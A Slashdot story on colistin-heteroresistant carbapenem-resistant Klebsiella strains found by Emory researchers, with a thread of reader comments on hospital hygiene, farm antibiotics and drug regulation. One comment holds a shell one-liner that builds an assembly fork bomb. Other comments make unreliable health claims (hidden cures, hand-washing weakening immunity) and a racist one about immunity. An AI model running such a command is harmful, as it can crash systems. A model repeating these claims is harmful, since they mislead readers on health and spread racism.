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Researchers Discover Colistin-Heteroresistant Germs In the US (arstechnica.com)
An anonymous reader quotes a report from Ars Technica: For the first time, researchers have discovered strains of a deadly, multidrug-resistant bacterium that uses a cryptic method to also evade colistin, an antibiotic used as a last-resort treatment. That's according to a study of U.S. patients published this week by Emory University researchers in the open-access microbiology journal mBio. The wily and dangerous bacteria involved are carbapenem-resistant Klebsiella pneumoniae or CRKP, which are already known to resist almost all antibiotics available, including other last-line antibiotics called carbapenems. The germs tend to lurk in clinical settings and can invade the urinary tract, bloodstream, and soft tissues. They're members of a notorious family of multidrug-resistant pathogens, called carbapenem-resistant Enterobacteriaceae (CRE), which collectively have mortality rates as high as 50 percent and have spread rapidly around the globe in recent years. A 2013 report by the Centers for Disease Control and Prevention estimated that there were more than 9,300 CRE infections in the U.S. each year, leading to 600 deaths. Both the CDC and the World Health Organization have listed CRE as one of the critical drug-resistant threats to public health, in need of "urgent and aggressive action."
In the new study, the Emory researchers discovered two strains of CRKP -- isolated from the urine of patients in Atlanta, Georgia -- that can also resist colistin. But they do so in a poorly understood, surreptitious way. At first, they appear vulnerable to the potent antibiotic in standard clinical tests, but with more advanced testing and exposure to the drug, they reveal that they can indeed survive it. In mice, the strains caused infections that couldn't be cured by colistin and the mice died of the infections. Mice infected with typical CRKP were all saved with colistin. So far, there's no evidence of CRKP infections surprisingly turning up resistant to colistin during treatment in patients. But the authors, led by microbiologist David Weiss, say that may be because the evidence is difficult to gather, and the data so far is cause for concern. The researchers concluded that the findings "serve to sound the alarm about a worrisome and under-appreciated phenomenon in CRKP infections and highlight the need for more sensitive and accurate diagnostics."
In the new study, the Emory researchers discovered two strains of CRKP -- isolated from the urine of patients in Atlanta, Georgia -- that can also resist colistin. But they do so in a poorly understood, surreptitious way. At first, they appear vulnerable to the potent antibiotic in standard clinical tests, but with more advanced testing and exposure to the drug, they reveal that they can indeed survive it. In mice, the strains caused infections that couldn't be cured by colistin and the mice died of the infections. Mice infected with typical CRKP were all saved with colistin. So far, there's no evidence of CRKP infections surprisingly turning up resistant to colistin during treatment in patients. But the authors, led by microbiologist David Weiss, say that may be because the evidence is difficult to gather, and the data so far is cause for concern. The researchers concluded that the findings "serve to sound the alarm about a worrisome and under-appreciated phenomenon in CRKP infections and highlight the need for more sensitive and accurate diagnostics."
Now we don't have to worry about artificial intelligence wiping us out.
Why is that, you ask ?
Slack sterile procedures and a mentality that makes profit the over arching goal.
I wouldn't willingly be an in-patient in ANY hospital in the US, because of the two factors above.
And yes, there are other countries, such as Germany and Switzerland, where they are far more careful about sterile procedures. I have first-hand experience which backs up my claim, which I will cite below.
I sat for weeks waiting outside the ICU ( intensive care unit ) at a major US hospital, while a family member was stricken with a serious illness and was bedridden in that ICU. As I watched, not one single doctor stopped at the alcohol scrub station which was outside the ICU, prior to entering the ICU. Nearly all the nurses DID stop and scrub. The doctors were ( obviously ) in a hurry, and since they have more authority than most other hospital staff, it was unlikely anyone was going to take them to task for not scrubbing. Do you think those doctors carried pathogens with them into the ICU ? If you doubt that, you're either very naive or just plain stupid.
The US health care system is badly messed up. Many doctors want to make lots of money, and time IS money. Until the authorities step up and take action about the slack sterile procedures used in US hospitals, this mess is going to get worse. What's really bad about it is that the pathogens are evolving and, in essence, the US hospitals are a "training ground" which produces pathogens which are resistant to ALL available antibiotic drugs. If you don't think that is a big deal, imagine what the world was like before penicillin, when even a simple infection could and did often mean death.
I have a number of friends who ARE physicians who work in hospital environments, and every one of these people agrees with me that there is a problem with sterile procedures in the US health care system. None of them wants to stand up and raise hell about it because they could find themselves without a job at that hospital as a direct result. It's a hell of a mess. Personally I think government intervention is required, along with very substantial civil and criminal penalties, before the problem is dealt with in an effective manner.
Cue the Slashdot knowitalls, who will try to tell me I am wrong about the above. The thing is, I am not wrong and all of us are in jeopardy because of the current state of affairs. One in-patient hospital visit could be all it takes to underscore that reality. DO you feel lucky ?
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Not to worry, thoughts and prayers will save the worthy amongst us.
This resistance is hardly unexpected. Organisms evolve to resist threats and antibiotics are a threat.
https://goo.gl/images/JtmScY
You are welcome on my lawn.
For many, many years the farming industry has subjected livestock to continual doses of antibiotics. This makes animals the perfect breeding ground for antibiotic-resistant bacteria.
Our medical industry foresaw this long ago and put a ban on the routine use of antibiotics on human patients as a preventative measure; using them only after diagnosis of something that specifically needs them for treatment. The farming industry did not follow suit, because it is much cheaper for them to keep animals in unsanitary conditions and just continually pump them full of antibiotics so they don't get diseased.
I didn't see anything in the summary specifically saying whether or not this is a likely origin of the resistant bacteria, so I don't know for sure. But I do know that we as a culture continue to abide a medically disastrous approach to keeping our meat prices low, and we are going to really suffer as a result of it.
Animals cannot give consent, they don't have the cognitive capacity. But of course you know that.
On the one hand, it is cruel to subject animals to medical experimentation. They suffer and die, and that's cruel.
On the other hand, it is cruel to, through inaction, allow humans to suffer and die from diseases that we could cure. Is the life of a young child worth the life of a few mice?
Of course it is. Humans kill and eat animals every day. Our society has collectively spoken; our moral position is clear. It is ok to harm animals in order to gain scientific knowledge, or to fill our bellies.
That's the world in which we live.
First of all, there are way too many products out there that contain anti-bacterial compounds, starting with hand soaps all the way up. it is OUR fault that we came to this point of having incurable infections. Just like we built immunity to things, so do bacteria and we keep exposing them to all these compounds that are added to everything. The industry is to blame for that.
Next, the "pharmas" probably have better and stronger, more effective cures but they are all shelved. To them it's all about profit and they don't care who lives and who dies, if they can't make a buck on it.
The process of drug testing and approval in North America is insanely convoluted, costly and lengthy, "pharmas" don't bother with it unless they are desperate for more profit. And right now they are thinking: "why ruin a good thing we got going with current drugs." Again, they don't care who lives and who dies, even if they have cures for most of these things and many others.
You don't believe me? Find some friends who work for the "pharmas" and they'll tell you first hand. It's a system problem across multitude of industries, not just "pharmas."
If you want treatment, you will have to resort to "medical tourism" to a country that is not owned and ruled by various industries. One might argue that they have more lax rules for drug testing and approval making it less safe, but I believe that do be an edge over critical things like currently un-treatable infections, cancers, etc.
Sometimes you have to break a few eggs to make an omlet, so if those CRISPR injections Chinese are doing right now on patients, without decades of previous testing, are saving lives and prolonging their life expectancy, then I say why would anyone stand in the way of that. The conventional methods did not work on those patients anyway, and that has been known for decades, actually since the 1920s in case of chemo- and radiation-therapy for cancer (which is really effective in 25% of cases).
But I digress from infections to cancers. Curing infections does not necessarily require drugs, but this continent is owned and ruled by industries and their interests, so unless it's a magic pill that costs $1,000 per, nothing else will fly. Perhaps some day someone in the main stream medical field will actually look into other disciplines/fields beside pharmacology for answers, though it's unlikely to happen as all grants are only made for drug research, as otherwise they could not be patented and sold over the counter.
This is not a position you truly hold. You are typing like a conservatard who's mimicking a liberal. None of the save the animals groups have ever held the position that consent is what is needed. You're pissed you just can't willy nilly rape whomever you want. GTFO.
One might suggest a move back to another method for fighting bacteria, viruses.
Today Lee Camp proposed labeling cartons of factory-farmed eggs with the brand name "Oh shit what kind of fucked species are we anyway"
Predators. That's what kind of species we are.
Like, duh.
I'm not. I want no part of such a predatory species. Please liberalize suicide markets and/or drugs so I can exit this predatory neoliberal nightmare you all have created. Jains have not been predators and have survived since before recorded history. I'm with the Jains, you all have forgotten ancient knowledge that allowed us to survive hundreds of thousands of years without being predators.
I can't wait for nanobots to wipe out germs, viruses, cancer, etc.
Fuck Mars. Nanobots NOW!!
Antibiotics in meat is the #1 cause. Instead of letting genetically diverse animals graze and live in a storybook farm setting, animals are nearly clones and are packed cheek to jowl and force fed suboptimal food that maximizes growth. To keep profits as high as possible they are force fed antibiotics 24-7-365 by the hundreds of millions. This is the most effective way to develop resistance outside of engineering it in a lab setting. It also is a problem in that people want antibiotics for everything, and often don't even finish the course. Between these two practices many of our antibiotics are now becoming worthless. Further there is little money to be made on antibiotics but billions keeping the incurably sick alive, if only for awhile so there is a massive negative pressure to using antibiotics responsibly.
are allowed to be developed in the USA. This is accomplished due to strong regulation and strong lawyers who together ensure it is just not economical to develop new drugs. Regulation always helps the major players in the industry because they can afford to work with the system that is bared to the little guy. Martin Shkreli could only have done what be did without the FDA. The FDA and legal system basically guaranteeing him a monopoly. The solution is to severely curtail the power of the FDA. The FDA was a good organization at first, but like all good organizations over time their usefulness diminishes until the point they are doing more harm than good. Also there is no reason to be suing companies that are making a good faith efforts to not intentionally kill people with crappy drugs. In the case of the Opiod companies, a good point could be made for suing them, but not the guys selling the MMR vaccine, no matter how many alleged cases of Autism it causes. The bottom line is that penicillin could not have been developed in the USA today with the current FDA and legal framework.
If we can do this maybe we could get some new antibiotics to combat these apocalyptic bacteria the media keeps talking about. Barring that we need to develop the human immune system by exposing it to dangerous microbes. Remember every time you wash your hands you are weakening your immune system. White people developed our superior immune system by living in filth. We need to go back to those good old days.
I'd eat a Jain if I were starving.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
The factors that some posters above have mentioned all point back to factors that are in place because of extreme market fundamentalism, (i.e. neoliberalism) in the US:
1. Slack sterile procedures in hospitals - oh no, we can't force hospitals to fix this because hospital profits.
2. Vast abuse of antibiotics in animal farming - oh no, we can't force meat producers to fix this because industrial agriculture profits.
3. Abuse of antibiotics by doctors, patients, and consumers - oh no, we can't force everyone to only use antibiotics when absolutely necessary because pharmaceutical profits.
In other words, the neoliberal answer to this issue so far has been: we can't fix it because it would affect profits. Just keep on dying.
Your species is predatory, whether or not you as an individual act on those instincts.
Since your species is also omnivorous, you can thrive on a vegan diet. That doesn't mean you aren't a predator, it just means you aren't engaging your abilities in that domain.
However, you cannot thrive without some degree of killing of animals; it is impossible. Your body is routinely invaded by micro-animals that it kills off. You kill off thousands of mites every time you take a shower. You squish the occasional bug every time you walk around outdoors.
The vegan food you eat includes bugs as well. If you eat anything processed, then it has some ground-up bugs in it. Even if you eat exclusively unprocessed plants, the farming techniques that produced them involved killing plenty of insects, and there are still micro-animals on and in the raw, organic plants you eat.
You can't escape it. You are simply too large.